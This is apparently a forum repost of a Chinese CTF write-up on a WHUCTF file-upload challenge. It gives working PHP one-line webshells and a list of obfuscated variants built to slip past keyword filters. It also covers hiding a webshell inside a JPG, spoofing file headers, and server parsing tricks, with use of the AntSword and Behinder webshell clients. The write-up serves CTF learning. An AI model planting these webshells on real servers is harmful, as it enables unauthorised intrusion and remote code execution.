搜索

[22077] 2021-06-19_WHUCTF一道非常有趣的文件上传漏洞题（刀蝎剑详解）

文档创建者：s7ckTeam
浏览次数：56
最后更新：2025-01-18
2021-06-19_WHUCTF一道非常有趣的文件上传漏洞题（刀蝎剑详解） W H U C T F   一 道 非 常 有 趣 的 文 件 上 传 漏 洞 题 （ 刀 蝎 剑 详 解 ） E a s t m o u n t   L e m o n S e c   2 0 2 1 - 0 6 - 1 9 文 章 目 录 ： 文 章 目 录 ： 一 一 . E a s y _ u n s e r i a l i z e 题 目 描 述 题 目 描 述 二 二 . 作 者 解 题 思 路 及 总 结 作 者 解 题 思 路 及 总 结 1 . 一 句 话 和 冰 蝎 蚁 剑 2 . 图 片 一 句 话 3 . 过 狗 一 句 话 绕 过 限 制 4 . B u r p S u i t e 文 件 上 传 漏 洞 的 常 用 方 法 三 三 . W P 解 题 思 路 解 题 思 路 四 四 . 总 结 总 结 作 者 的 作 者 的 g i t h u b 资 源 ： 资 源 ： 逆 向 分 析 ： h t t p s : / / g i t h u b . c o m / e a s t m o u n t y x z / S y s t e m S e c u r i t y - R e v e r s e A n a l y s i s 网 络 安 全 ： h t t p s : / / g i t h u b . c o m / e a s t m o u n t y x z / N e t w o r k S e c u r i t y S e l f - s t u d y 声 明 ： 本 人 坚 决 反 对 利 用 教 学 方 法 进 行 犯 罪 的 行 为 ， 一 切 犯 罪 行 为 必 将 受 到 严 惩 ， 绿 色 网 络 需 要 我 们 共 同 维 护 ， 更 推 荐 大 家 了 解 它 们 背 后 的 原 理 ， 更 好 地 进 行 防 护 。 网 站 目 前 可 以 访 问 ， 后 续 应 该 会 关 闭 ， 初 学 者 可 以 试 试 ， 但 切 勿 破 坏 。 一 一 . E a s y _ u n s e r i a l i z e 描 述 描 述 考 点 ： 考 点 ：   反 序 列 化 + 文 件 上 传 主 界 面 显 示 如 下 图 所 示 ：
其 中 ， u p l o a d 上 传 文 件 ,   v i e w 查 看 已 上 传 的 图 片 。 上 传 文 件 代 码 如 下 ：
二 二 . 作 者 解 题 思 路 及 总 结 作 者 解 题 思 路 及 总 结 这 道 题 目 有 点 遗 憾 没 有 完 成 ， 题 目 虽 然 叫 “ E a s y _ u n s e r i a l i z e ” ， 但 我 的 第 一 想 法 是 文 件 上 传 漏 洞 ， 也 尝 试 了 很 多 方 法 都 未 成 功 。 下 面 我 将 分 别 从 我 的 解 题 思 路 和 W P 思 路 进 行 讲 解 ， 希 望 对 您 有 所 帮 助 ~ 1 . 一 句 话 和 冰 蝎 蚁 剑 一 句 话 和 冰 蝎 蚁 剑 ( 1 )   “ 一 句 话 木 马 一 句 话 木 马 ” 服 务 端 服 务 端 服 务 端 一 句 话 是 指 本 地 存 储 的 脚 本 木 马 文 件 ， 是 我 们 要 用 来 将 恶 意 代 码 上 传 到 服 务 器 网 站 中 执 行 权 限 。 该 语 句 触 发 后 ， 接 收 入 侵 者 通 过 客 户 端 提 交 的 数 据 ， 执 行 并 完 成 相 应 的 操 作 。 P H P 常 用 一 句 话 木 马 的 代 码 如 下 ： ( 2 )   中 国 蚁 剑 反 弹 中 国 蚁 剑 反 弹 s h e l l 通 过 中 国 蚁 剑 连 接 “ m a 0 1 . p h p ” 文 件 ， 其 代 码 为 一 句 话 木 马 “ < ? p h p   e v a l ( $ _ P O S T [ w h u c t f ] ) ;   ? > ” ； 然 后 再 蚁 剑 空 白 处 右 键 “ 添 加 ” ， 设 置 U R L 地 址 及 连 接 密 码 “ w h u c t f ” 。 < f o r m   a c t i o n = " u p l o a d . p h p "   m e t h o d = " p o s t "   a c c e p t - c h a r s e t = " u t f - 8 "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " >         < l a b e l   n a m e = " t i t l e "   f o r = " f i l e " > 图 片 :       < / l a b e l >         < i n p u t   t y p e = " f i l e "   n a m e = " f i l e "   i d = " f i l e " >         < i n p u t   t y p e = " s u b m i t "   c l a s s = " b u t t o n "   n a m e = " s u b m i t "   v a l u e = " 上 传 " > < / f o r m > / / h t t p : / / l o c a l h o s t / e a s y _ u n s e r i a l i z e / m a 0 1 . p h p < ? p h p   e v a l ( $ _ P O S T [ w h u c t f ] ) ;   ? > / / h t t p : / / l o c a l h o s t / e a s y _ u n s e r i a l i z e / m a 0 2 . p h p < ? p h p   a s s e r t ( $ _ P O S T [ w h u c t f ] ) ;   ? >
连 接 成 功 后 成 功 获 取 目 标 网 站 的 服 务 器 文 件 目 录 ， 如 下 图 所 示 ： ( 3 )   冰 蝎 反 弹 冰 蝎 反 弹 s h e l l 冰 蝎 作 为 新 款 的 w e b s h e l l 连 接 工 具 ， 使 用 效 果 非 常 好 。 其 基 本 使 用 方 法 如 下 图 所 示 ： 连 接 U R L 和 密 码 并 反 弹 s h e l l 。
下 载 地 址 ： h t t p s : / / g i t h u b . c o m / r e b e y o n d / B e h i n d e r 2 . 图 片 一 句 话 图 片 一 句 话 ( 1 )   题 目 分 析 题 目 分 析 由 于 该 题 只 能 上 传 图 片 文 件 ， 我 们 想 到 的 是 图 片 一 句 话 木 马 。 针 对 该 网 站 ， 如 果 我 们 直 接 上 传 “ m a 0 1 . p h p ” 文 件 它 会 提 示 “ Y o u   c a n ’ t u p l o a d   t h i s   k i n d   o f   f i l e ! ” 错 误 ， 这 是 因 为 它 指 定 了 图 片 文 件 格 式 。
而 当 我 们 上 传 图 片 “ m m . j p g ” 时 ， 它 就 能 成 功 上 传 ， 并 且 查 看 图 片 如 下 图 所 示 ： ( 2 )   网 站 内 容 检 查 网 站 内 容 检 查 内 容 检 查 是 网 站 安 全 的 重 要 手 段 之 一 。 假 设 我 们 将 包 含 一 句 话 木 马 的 “ f o x . p h p ” 修 改 为 “ 1 . j p g ” 并 上 传 ， 有 的 网 址 会 提 示 上 传 错 误 ， 因 为 J P G 格 式 不 能 执 行 P H P 文 件 脚 本 的 。
如 下 图 所 示 ， 它 会 判 断 图 片 的 文 件 头 ， 包 括 g i f 、 p n g 、 j p g 等 格 式 。 文 件 头 是 用 来 判 断 数 据 格 式 的 ， 这 里 尝 试 修 改 文 件 头 进 行 上 传 ， 以 g i f 文 件 为 例 ， 添 加 文 件 头 “ G I F 8 9 a ” 后 即 可 上 传 成 功 。 同 样 可 以 尝 试 B u r p S u i t e 抓 包 修 改 文 件 后 缀 . p h p 进 行 上 传 ， 后 面 会 详 细 讲 解 。 ( 3 )   暂 定 解 题 思 路 暂 定 解 题 思 路 由 于 该 题 有 检 测 文 件 的 c o n t e n t - t y p e ， 我 们 可 以 准 备 一 张 很 小 的 图 片 ， 比 如 画 图 中 新 建 一 个 像 素 的 j p g ， 然 后 往 里 面 添 加 s h e l l 到 图 片 尾 < ? p h p   e v a l ( $ _ P O S T [ f o x ] ) ;   ? >  
部 。 同 时 ， 该 题 仅 检 测 文 件 头 ， 而 没 检 测 图 片 是 否 能 正 常 使 用 ， 所 以 图 片 几 十 个 字 节 也 够 用 。 接 下 来 还 需 要 让 网 站 按 P H P 后 缀 来 解 析 ， 这 又 涉 及 到 解 析 漏 洞 。 比 如 I I S 的 服 务 器 会 把 诸 如 1 . a s p ; 1 . j p g 以 a s p 来 解 析 ， 虽 然 后 缀 本 质 是 j p g ； 旧 版 的 A p a c h e 可 以 上 传 1 . p h p . x x x 文 件 ， 只 要 x x x 对 容 器 来 说 不 是 动 态 脚 本 不 能 解 析 ， 它 就 会 往 左 边 逐 个 解 析 ， 直 到 遇 到 p h p 就 解 析 了 ； 还 有 旧 版 的 N g n i x 可 以 上 传 s h e l l . j p g ， 然 后 访 问 s h e l l . j p g / 1 . p h p 或 者 s h e l l . j p g % 0 0 . p h p 都 可 以 用 p h p 来 解 析 j p g 文 件 。 这 些 都 是 需 要 用 到 网 站 容 器 、 系 统 、 环 境 的 缺 陷 或 者 漏 洞 。 ( 4 )   图 片 一 句 话 木 马 制 作 图 片 一 句 话 木 马 制 作 某 些 网 站 上 传 文 件 时 ， 会 检 查 你 上 传 文 件 的 头 目 录 ， 如 果 你 的 一 句 话 木 马 是 放 在 P H P 文 件 中 ， 它 很 容 易 被 识 别 出 来 。 这 个 时 候 图 片 一 句 话 木 马 的 作 用 就 体 现 出 来 了 。 在 C M D 中 直 接 运 行 ， 如 下 图 所 示 ， 它 是 在 m m . j p g 图 片 中 插 入 m m 0 1 . p h p 中 的 一 句 话 木 马   “ < ? p h p e v a l ( $ _ P O S T [ w h u c t f ] ) ;   ? > ”   ， 并 存 储 为 m m - m a 0 1 . j p g 图 片 ， 其 中 b 表 示 二 进 制 ， a 表 示 a s c i i 编 码 。 用 N o t e p a d + + 打 开 “ m m - m a 0 1 . j p g ” 可 以 看 到 ， 里 面 包 含 了 一 句 话 木 马 ， 并 且 不 影 响 我 们 的 图 片 质 量 。 c o p y   m m . j p g / b + m a 0 1 . p h p / a   m m - m a 0 1 . j p g
此 时 我 们 上 传 包 含 一 句 话 木 马 的 “ m m - m a 0 1 . j p g ” 文 件 ， 但 提 示 错 误 ： Y o u   c o u l d   n o t   u p l o a d   t h i s   i m a g e   b e c a u s e   o f   s o m e   d a n g e r o u s   c o d e   i n y o u r   f i l e ! ， 这 是 因 为 它 检 查 了 “ e v a l ” 关 键 词 。 3 . 过 狗 一 句 话 绕 过 限 制 过 狗 一 句 话 绕 过 限 制 上 面 说 明 对 某 些 关 键 字 有 限 制 ， 我 们 需 要 对 一 句 话 木 马 进 行 绕 过 处 理 ， 下 面 我 总 结 了 常 见 的 一 些 方 法 ： / / 通 过 变 量 赋 值 < ? p h p   $ a = ' b ' ;   $ $ a = ' a s s e r t ' ;   $ b ( $ _ P O S T [ s h e l l ] ) ;   ? > < ? p h p   $ a   =   " e v a l " ;   $ a ( @ $ _ P O S T [ ' s h e l l ' ] ) ;   ? > / / 通 过 s t r _ r e p l a c e 函 数 替 换 < ? p h p   $ a = s t r _ r e p l a c e ( " W a l d o " ,   " " ,   " e W a l d o v a l " ) ;   $ a ( @ $ _ P O S T [ ' s h e l l ' ] ) ;   ? > / / 通 过 b a s e 6 4 _ d e c o d e 函 数 编 码 < ? p h p   $ a = b a s e 6 4 _ d e c o d e ( " Z X Z h b A = = " ) ;   $ a ( $ _ P O S T [ ' s h e l l ' ] ) ; ? > / / 通 过 字 符 串 拼 接 < ? p h p   $ a = " e " . " v " ;   $ b = " a " . " l " ;   $ c = $ a . $ b ;   $ c ( $ _ P O S T [ ' s h e l l ' ] ) ;   ? > / / 利 用 p a r s e _ s t r 函 数 < ? p h p   $ s t r = " a = e v a l " ;   p a r s e _ s t r ( $ s t r ) ;   $ a ( $ _ P O S T [ ' s h e l l ' ] ) ;   ? > / / 使 用 脚 本 < s c r i p t   l a n g u a g e = " P H P " >   @ e v a l ( $ _ P O S T [ ' s h e l l ' ] ) ;   < / s c r i p t > / / 创 建 s h e l l . p h p 文 件 < ? p h p   f p u t s ( f o p e n ( ' s h e l l . p h p ' , ' w ' ) , ' < ? p h p   a s s e r t ( $ _ P O S T [ w h u c t f ] ) ; ? > ' ) ;   ? > / / 使 用 一 句 话 木 马 时 可 以 在 函 数 前 加 ” @ ” 符   让 p h p 语 句 不 显 示 错 误 信 息 从 而 增 加 隐 蔽 性
下 面 是 我 进 一 步 制 作 的 图 片 一 句 话 木 马 。 遗 憾 的 是 ， 虽 然 图 片 都 能 成 功 上 传 ， 但 中 国 蚁 剑 和 冰 蝎 都 无 法 连 接 成 功 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理